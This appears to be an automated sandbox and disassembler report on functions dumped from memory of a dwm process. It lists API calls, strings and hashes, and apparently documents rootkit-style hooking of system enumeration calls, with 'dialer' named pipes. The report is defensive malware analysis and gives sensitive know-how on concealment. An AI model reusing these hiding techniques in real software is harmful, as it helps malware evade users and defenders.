Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: d24682c49f3cba86a42b6dd37d32561b84aec9e9ec0b9faacc2435d91fa56541
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 2B318176205F808AEB64DF64E8807EE7364F788B44F44406AEB4E57B98EF39C649D710

Function 000001160CBED2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001160CBED31D
RtlLookupFunctionEntry.NTDLL ref: 000001160CBED335
RtlVirtualUnwind.NTDLL ref: 000001160CBED370
IsDebuggerPresent.KERNEL32 ref: 000001160CBED3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001160CBED3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001160CBED3BE

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 7aee568606479a74cb3337d4d952b70ed198d4533eb6cf8013ee66e46d93c2e5
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: E8315B36214F808AEB648F29E8403DE73A0F789B54F5001A6FB9D43B98EF79C556CB00

Function 000001160CBE12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001160CBE1319
GetProcessHeap.KERNEL32 ref: 000001160CBE1327
HeapAlloc.KERNEL32 ref: 000001160CBE1338
RegEnumValueW.ADVAPI32 ref: 000001160CBE1397

Part of subcall function 000001160CBE152C: StrCmpIW.SHLWAPI ref: 000001160CBE155D

GetProcessHeap.KERNEL32 ref: 000001160CBE13DF
HeapAlloc.KERNEL32 ref: 000001160CBE13ED
GetProcessHeap.KERNEL32 ref: 000001160CBE140A
HeapFree.KERNEL32 ref: 000001160CBE1418
lstrlenW.KERNEL32 ref: 000001160CBE1421
GetProcessHeap.KERNEL32 ref: 000001160CBE142F
HeapAlloc.KERNEL32 ref: 000001160CBE143D
StrCpyW.SHLWAPI ref: 000001160CBE145F
GetProcessHeap.KERNEL32 ref: 000001160CBE1476
HeapFree.KERNEL32 ref: 000001160CBE1484

Strings

d, xrefs: 000001160CBE135A

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 5f70c4fa48b0520805612a64c9f863e6a41a39741125622862ed31b17deb92bb
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 02514976240F848AEB58CF66E4483DA77A1F788F89F144164EF4A07759EF3AC14ADB00

Function 000001160CBE1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001160CBE1D1F

Part of subcall function 000001160CBE1FD4: GetModuleHandleA.KERNEL32 ref: 000001160CBE1FEC
Part of subcall function 000001160CBE1FD4: GetProcAddress.KERNEL32 ref: 000001160CBE1FFD

Part of subcall function 000001160CBE5B30: GetCurrentThreadId.KERNEL32 ref: 000001160CBE5B6B

Strings

advapi32.dll, xrefs: 000001160CBE1DF7, 000001160CBE1E18
sechost.dll, xrefs: 000001160CBE1E39
NtQueryDirectoryFile, xrefs: 000001160CBE1D7F
EnumServicesStatusExW, xrefs: 000001160CBE1E11, 000001160CBE1E32
NtQueryDirectoryFileEx, xrefs: 000001160CBE1D9C
NtQuerySystemInformation, xrefs: 000001160CBE1D45
NtDeviceIoControlFile, xrefs: 000001160CBE1E56
EnumServiceGroupW, xrefs: 000001160CBE1DF0
NtResumeThread, xrefs: 000001160CBE1D62
ntdll.dll, xrefs: 000001160CBE1D2D
NtEnumerateValueKey, xrefs: 000001160CBE1DD6
NtEnumerateKey, xrefs: 000001160CBE1DB9

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 5a8c6f9e0e0a0ca570b123c31ed6b425557668f1b520d46c7c4e0651d0e9f3d8
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: D33195B8540F4AA4FE0DEFA9E8557D46324B70CB44F9050D3F6094266EEF7A824EE391

Function 000001160CBB6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001160CBB6938
__scrt_acquire_startup_lock.LIBCMT ref: 000001160CBB698A
_RTC_Initialize.LIBCMT ref: 000001160CBB69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001160CBB69DE
__scrt_release_startup_lock.LIBCMT ref: 000001160CBB6A09

Strings

`dynamic initializer for ', xrefs: 000001160CBB69C7
`eh vector copy constructor iterator', xrefs: 000001160CBB6A3B
`eh vector vbase copy constructor iterator', xrefs: 000001160CBB69EE
scriptor', xrefs: 000001160CBB6B39, 000001160CBB6BB2, 000001160CBB6BEC

Memory Dump Source

Source File: 00000029.00000002.3337600267.000001160CBB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CBB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbb0000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 9f0ed69cfe1bf671b7887ee88bd02b42f551630c69fb0bbdfeeb5c4c92742149
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: C881D131600F0186FB6CAB6594C13D963A0EB8D780F5484A5BB498779EEFBBCC45B710

Function 000001160CBECE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000001160CBECE37
FlsGetValue.KERNEL32(?,?,?,000001160CBF0A6B,?,?,?,000001160CBF045C,?,?,?,000001160CBEC84F), ref: 000001160CBECE4C
FlsSetValue.KERNEL32(?,?,?,000001160CBF0A6B,?,?,?,000001160CBF045C,?,?,?,000001160CBEC84F), ref: 000001160CBECE6D
FlsSetValue.KERNEL32(?,?,?,000001160CBF0A6B,?,?,?,000001160CBF045C,?,?,?,000001160CBEC84F), ref: 000001160CBECE9A
FlsSetValue.KERNEL32(?,?,?,000001160CBF0A6B,?,?,?,000001160CBF045C,?,?,?,000001160CBEC84F), ref: 000001160CBECEAB
FlsSetValue.KERNEL32(?,?,?,000001160CBF0A6B,?,?,?,000001160CBF045C,?,?,?,000001160CBEC84F), ref: 000001160CBECEBC
SetLastError.KERNEL32 ref: 000001160CBECED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001160CBF0A6B,?,?,?,000001160CBF045C,?,?,?,000001160CBEC84F), ref: 000001160CBECF0D
FlsSetValue.KERNEL32(?,?,00000001,000001160CBEECCC,?,?,?,?,000001160CBEBF9F,?,?,?,?,?,000001160CBE7AB0), ref: 000001160CBECF2C

Part of subcall function 000001160CBED6CC: HeapAlloc.KERNEL32 ref: 000001160CBED721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001160CBF0A6B,?,?,?,000001160CBF045C,?,?,?,000001160CBEC84F), ref: 000001160CBECF54

Part of subcall function 000001160CBED744: HeapFree.KERNEL32 ref: 000001160CBED75A
Part of subcall function 000001160CBED744: GetLastError.KERNEL32 ref: 000001160CBED764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001160CBF0A6B,?,?,?,000001160CBF045C,?,?,?,000001160CBEC84F), ref: 000001160CBECF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001160CBF0A6B,?,?,?,000001160CBF045C,?,?,?,000001160CBEC84F), ref: 000001160CBECF76

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 270f405e5c34fdd1e798ad4c0d4d417a63158c46344a50caa6079db8c82e2f10
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 1A416D70201B4446FA6CA77195513F966825B9CFB4F2847E4BB36066EEFF2B9841B200

Function 000001160CBE2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001160CBE2259
GetCurrentProcessId.KERNEL32 ref: 000001160CBE2263

Part of subcall function 000001160CBE1934: OpenProcess.KERNEL32 ref: 000001160CBE1952
Part of subcall function 000001160CBE1934: IsWow64Process.KERNEL32 ref: 000001160CBE1968
Part of subcall function 000001160CBE1934: CloseHandle.KERNEL32 ref: 000001160CBE1983

CreateFileW.KERNEL32 ref: 000001160CBE22BC
WriteFile.KERNEL32 ref: 000001160CBE22E4
ReadFile.KERNEL32 ref: 000001160CBE2303
CloseHandle.KERNEL32 ref: 000001160CBE230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 000001160CBE2293
\\.\pipe\dialerchildproc64, xrefs: 000001160CBE228C

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 203282c07502a21eae00c1374ca36f7610a09297222327690334813e59da226b
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 6421387A614B4086FB288B25E4487DA67A4F789BA4F600255FB5902BA8DF3DC14ADB00

Function 000001160CBB9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001160CBB99A1

Part of subcall function 000001160CBBA814: __GetUnwindTryBlock.LIBCMT ref: 000001160CBBA857
Part of subcall function 000001160CBBA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001160CBBA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001160CBB9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001160CBB9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001160CBB9DDA

Strings

csm, xrefs: 000001160CBB99BB
csm, xrefs: 000001160CBB9A22
csm, xrefs: 000001160CBB9A9C

Memory Dump Source

Source File: 00000029.00000002.3337600267.000001160CBB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CBB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbb0000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: bb8e69615e03b31d6a737a608a43597c408f3e8ca5254f0f8d71d187ae6dbc85
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: BDE19872A04B808AEB689F65D4C03DD77B4F789B88F100156FF8957B9ACBB6D091E700

Function 000001160CBEA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001160CBEA5A1

Part of subcall function 000001160CBEB414: __GetUnwindTryBlock.LIBCMT ref: 000001160CBEB457
Part of subcall function 000001160CBEB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001160CBEB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001160CBEA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001160CBEA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001160CBEA9DA

Strings

csm, xrefs: 000001160CBEA5BB
csm, xrefs: 000001160CBEA69C
csm, xrefs: 000001160CBEA622

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 6bc3ea82e8a8577f5158a409ef7d5aa9ea2377159b5f4a00c64b7a5545bf4ddc
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 40E18D72A04B808AEB28DF65D4803DD7BA4F759F98F100196FF8957B99EB35C485E700

Function 000001160CBEF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000001160CBEF510
GetProcAddress.KERNEL32 ref: 000001160CBEF51C

Strings

api-ms-, xrefs: 000001160CBEF45A
ext-ms-, xrefs: 000001160CBEF46D

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: a399a4a14c3a9ace11e47a6ded76f059a603b02c76fd1e926996d450102628d7
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 4141C472311F0045FA1ECBA6A8007E563A5B74DFA0F1941A5BF0A8778DFF3AC546A304

Function 000001160CBE104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001160CBE10B1
RegEnumValueW.ADVAPI32 ref: 000001160CBE1117
GetProcessHeap.KERNEL32 ref: 000001160CBE115A
HeapAlloc.KERNEL32 ref: 000001160CBE1168
GetProcessHeap.KERNEL32 ref: 000001160CBE1185
HeapFree.KERNEL32 ref: 000001160CBE1193

Strings

d, xrefs: 000001160CBE10D6

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 862c031dbf3a4e5d40b547c13d930746b696f540b51dc2ef6ec12241561ce9ef
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 76413676254F848AE764CF25E4447DE77A1F388B98F148169EB8907B58EF39C589CB00

Function 000001160CBED068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001160CBEC7DE,?,?,?,?,?,?,?,?,000001160CBECF9D,?,?,00000001), ref: 000001160CBED087
FlsSetValue.KERNEL32(?,?,?,000001160CBEC7DE,?,?,?,?,?,?,?,?,000001160CBECF9D,?,?,00000001), ref: 000001160CBED0A6
FlsSetValue.KERNEL32(?,?,?,000001160CBEC7DE,?,?,?,?,?,?,?,?,000001160CBECF9D,?,?,00000001), ref: 000001160CBED0CE
FlsSetValue.KERNEL32(?,?,?,000001160CBEC7DE,?,?,?,?,?,?,?,?,000001160CBECF9D,?,?,00000001), ref: 000001160CBED0DF
FlsSetValue.KERNEL32(?,?,?,000001160CBEC7DE,?,?,?,?,?,?,?,?,000001160CBECF9D,?,?,00000001), ref: 000001160CBED0F0

Strings

Y%, xrefs: 000001160CBED0A6
1%, xrefs: 000001160CBED0CE

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: d4f570e5741af3305a589a5d584869b16596f25287cc0625df4202b5dceca7f7
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 78119370700B4446FA6CA77595513F962455B4CBF0F2843E4BB3A466DEFFABC802B200

Function 000001160CBE7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001160CBE7538
__scrt_acquire_startup_lock.LIBCMT ref: 000001160CBE758A
_RTC_Initialize.LIBCMT ref: 000001160CBE75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001160CBE75DE
__scrt_release_startup_lock.LIBCMT ref: 000001160CBE7609

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 807ee3d9a8e09dcff49c28744cb6e6743e67fc826685864635c3d8321f605f19
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: C081C171610F018AFA5CAB6AA4413D963D0AB5DF84F1484D5FB05A779EFF3BC846A700

Function 000001160CBE9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001160CBE9E49
GetLastError.KERNEL32 ref: 000001160CBE9E57
LoadLibraryExW.KERNEL32 ref: 000001160CBE9E81
FreeLibrary.KERNEL32 ref: 000001160CBE9EC7
GetProcAddress.KERNEL32 ref: 000001160CBE9ED3

Strings

api-ms-, xrefs: 000001160CBE9E69

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: ee6e919353f53969156d5f988679b3d41b25326c60cb110f8e4a7beea7a4d70f
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: FF31C431612F40D5EE29DB52A4407E52398B74CFA0F5909A5BF2E07799FF3AC54DA300

Function 000001160CBF3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001160CBF3DE5
GetLastError.KERNEL32 ref: 000001160CBF3DF1
CloseHandle.KERNEL32 ref: 000001160CBF3E09
CreateFileW.KERNEL32 ref: 000001160CBF3E34
WriteConsoleW.KERNEL32 ref: 000001160CBF3E53

Strings

CONOUT$, xrefs: 000001160CBF3E15

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: b60d945665661dfdd3a418f256b783154abc990a5eb3c260b0a1a8428369d64f
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: EF118835260F808AE7948B12E8443D9B7A0F78CFE5F180264FF1A877A8CB3AC9158744

Function 000001160CBE2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001160CBE2F27
HeapAlloc.KERNEL32 ref: 000001160CBE2F3A
StrCmpNIW.SHLWAPI ref: 000001160CBE2FAF
GetProcessHeap.KERNEL32 ref: 000001160CBE3015
HeapFree.KERNEL32 ref: 000001160CBE3023

Strings

dialer, xrefs: 000001160CBE2FA8

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 3b51e744a85cbf46458d55d723a01e3b83cbf2ae4066660c87d7deb4b190fe3c
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 92318E36701F5186EA18DF16E9407EA67A4FB5CF84F0841A4BF4847B6AFF36C4A1A740

Function 000001160CBECFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001160CBECFAF
FlsSetValue.KERNEL32(?,?,?,000001160CBED6B5,?,?,?,?,000001160CBED778), ref: 000001160CBECFE5
FlsSetValue.KERNEL32(?,?,?,000001160CBED6B5,?,?,?,?,000001160CBED778), ref: 000001160CBED012
FlsSetValue.KERNEL32(?,?,?,000001160CBED6B5,?,?,?,?,000001160CBED778), ref: 000001160CBED023
FlsSetValue.KERNEL32(?,?,?,000001160CBED6B5,?,?,?,?,000001160CBED778), ref: 000001160CBED034
SetLastError.KERNEL32 ref: 000001160CBED04F

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: c0ab62e2f35622036f03bde80c5d5bf817e5228cb12c0170516359f531fc01fc
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 75115C30200B8046FA6CA77195553ED62466B9CBB4F2847E4BA36467DEFF6A8802B600

Function 000001160CBE199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001160CBE19C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001160CBE19E0
PathFindFileNameW.SHLWAPI ref: 000001160CBE19EF
lstrlenW.KERNEL32 ref: 000001160CBE19FB
StrCpyW.SHLWAPI ref: 000001160CBE1A0E
CloseHandle.KERNEL32 ref: 000001160CBE1A1C

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 581595d2693ef0f1e2eb2c5f1b19eadae3bdc356db7fcbf3ada764333d5ee646
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: A7015B35340F4086EA28DB56A4487DA63A5F78CFC4F5840B5EF5943759DF39C94AC700

Function 000001160CBE36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001160CBE36E4
GetCurrentProcess.KERNEL32 ref: 000001160CBE36F2
VirtualProtectEx.KERNEL32 ref: 000001160CBE3714
GetCurrentProcess.KERNEL32 ref: 000001160CBE3732
VirtualProtectEx.KERNEL32 ref: 000001160CBE3753
TerminateThread.KERNEL32 ref: 000001160CBE3762

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: eb78499ad2163625bc5385763271bd5f74659e694133aceb65f3d280cb71e29c
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: C70157B8611F4086EB289B22E8497DA73A4BB5CB82F1404A4EF4907768EF3EC549D700

Function 000001160CBE8FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160CBE9013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001160CBE90A8
RtlUnwindEx.NTDLL ref: 000001160CBE90F7

Strings

csm, xrefs: 000001160CBE908E
f, xrefs: 000001160CBE9026

